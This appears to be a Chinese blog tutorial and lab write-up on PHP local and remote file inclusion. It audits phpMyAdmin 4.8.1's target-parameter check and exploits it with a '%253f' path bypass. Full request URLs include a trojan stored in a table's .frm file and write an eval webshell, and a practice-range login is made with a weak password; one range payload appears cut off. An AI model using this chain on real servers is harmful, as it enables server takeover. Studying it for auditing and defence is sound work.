九、漏洞挖掘与代码审计(1)本地包含与远程包含

一、文件包含

连接数据库需要使用

$mysql_uname='root'

$mysql_pass='root'

文件包含就是引用的意思,把包含的文件内容拼接到现有文件中。

被包含的文件,无论任何后缀都会当做php执行,可以图片后缀的设定。

本地文件包含(LFI)

远程文件包含(RFI)默认不开启,需要改配置allow_url_include =On

SMB服务可以把远程文件包含转换成本地文件包含

1、函数

(1)include

使用include引用外部文件时,只有代码执行到include代码段时,调用的外部文件才会被引用并读取,当引用的文件发生错误时,系统只会给出个警告错误,而整个php文件会继续执行。

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第1张图片

(2)include_once

在导入文件前先检测该文件是否在该页面的其他部分被引用过,如果有,则不会重复引用该文件,程序只能引用一次。(要导入的文件中存在一些自定义函数,那么如果在同一个程序中重复导入这个文件,在第二次导入时便会发生错误,因为php不允许相同名称的函数被重复声明)

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第2张图片

(3)require

php文件被执行之前,php解析器会把被引用的文件的全部内容替换require语句,然后与require语句之外的其他语句组成个新的php文件,最好后按新的php文件执行程序代码

ps:在文件执行之前就被引用

(4)require_once

功能与require语句基本一致,不同的是,在应用require_once时,先会检查要引用的文件是不是已将在该程序中的其他地方被引用过,如果有,则不会在重复调用该文件。(同时使用require_once语句在同一页面中引用了两个不同的文件,那么在输出时,只有第一个文件被执行,第二个引用的文件则不会被执行)

2、危害

任意文件都可以被当做php执行,可以上传一个JPG图片,写一个一句话木马,正常而言jpg不会当做php执行,但如果可以包含就能执行。远程的话,可以直接读取服务器上的txt文件来执行。

3、知识点

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第3张图片

cmd在相对路径传参的时候可以包含一些特殊字符,那么在php我们是不是也可以写一些特殊字符来进行传参,很明显不是这样的。

比如 ?php中问号是拿来传参的,当php解析器遇到了?就认为后面是传参了,不认为是路径了,但是当include去执行的时候会报错,因为include认为那是路径。如果遇到包含的文件需要传参时候,可以写http://192.168.19.131/lfi/2.php?a=1.txt&q=phpinfo();   一个&符号就可以了

二、本地实践

1、代码审计

我们在全局搜索include关键字,查找能够为我们所用的引用,查找到一个include $_REQUEST['target']; 这里target传参会被引用

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第4张图片

复制出代码在本地实验一下

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第5张图片

 

2、分析执行条件

(1)选定代码前面不能执行exit

(2)查看有无判断分支语句

(3)判断满足的执行条件

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第6张图片

分析可知需要满足五个条件

(1)! empty($_REQUEST['target']——>target传参不为空

(2)is_string($_REQUEST['target'])——>target传参是string字符串

ps:有时php?id=123这种传参,在id后添加[ ],会爆出绝对路径

(3)! preg_match('/^index/', $_REQUEST['target'])——>匹配正则表达式,开头不是index

(4)! in_array($_REQUEST['target'], $target_blacklist)——>检查target传参中不能完全有target_blacklist里的值

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第7张图片

(5)Core::checkPageValidity($_REQUEST['target'])——>

当使用::则很可能使用了类的方法

我们全局搜索checkPageValiditry,找到如下

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第8张图片

必须要返回true才能正常执行

变量$page就是target传参,array $whitelist为空,whitelist是个白名单。

 $whitelist = self::$goto_whitelist;获取白名单信息,如果target传参在白名单之内,返回ture。

但这段不能利用,没啥用。

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第9张图片

看第二段核心代码

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第10张图片

mb_substr相当于字符串截取功能,mb_strpos返回截取字符串的位置

截取问号前的target值,放入白名单比较。

这时可以利用php和cmd解析的不同

但是include对于有?的传参不执行。所以这一点不能使用。

 

再看第三段核心代码

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第11张图片

先把target添加url解码,提取?前的内容放到$_page中,如果在白名单中,则return true。

?的url编码是%3f

则,如果输入import.php?../../就可以包含任意文件

 

3、实践

在url栏传参之前分析的规则,可以成功输出phpinfo()

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第12张图片

在phpstudy下邮费data文件夹,里面有我们数据库中的数据表,其中的frm后缀的文件打开可以看到数据字段内容

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第13张图片

新建一个数据表,在字段名中写入一句话木马

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第14张图片

 

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第15张图片

但这里无法用菜刀执行,因为需要登录的权限,菜刀无法登陆,所以我们直接写入文件

http://127.0.0.1/phpMyAdmin-4.8.1-all-languages/index.php?target=import.php%253f/../../../../../../../../phpstudy/MySQL/data/5@002e17/admin.frm&a=file_put_contents(%27aaa.php%27,%27%3C?php%20eval($_REQUEST[8]);?%3E%27);

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第16张图片

aaa.php可以直接访问,不需要phpmyadmin的cookie,之后连接菜刀即可

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第17张图片

 

三、靶场

弱口令登录phpmyadmin后,创建数据库和数据表,其中一个字段名设置成一句话木马。

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第18张图片

 url栏输入

http://59.63.200.79:8010/lfi/phpmyadmin/index.php?target=import.php%253f/../../../../../../../../phpstudy/MySQL/data/yyds/admin.frm&8=file_put_contents('yyds.php',');

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第19张图片

 

连接菜刀,最后找到flag

九、漏洞挖掘与代码审计(1)本地包含与远程包含_第20张图片

 

你可能感兴趣的:(漏洞挖掘与代码审计,信息安全)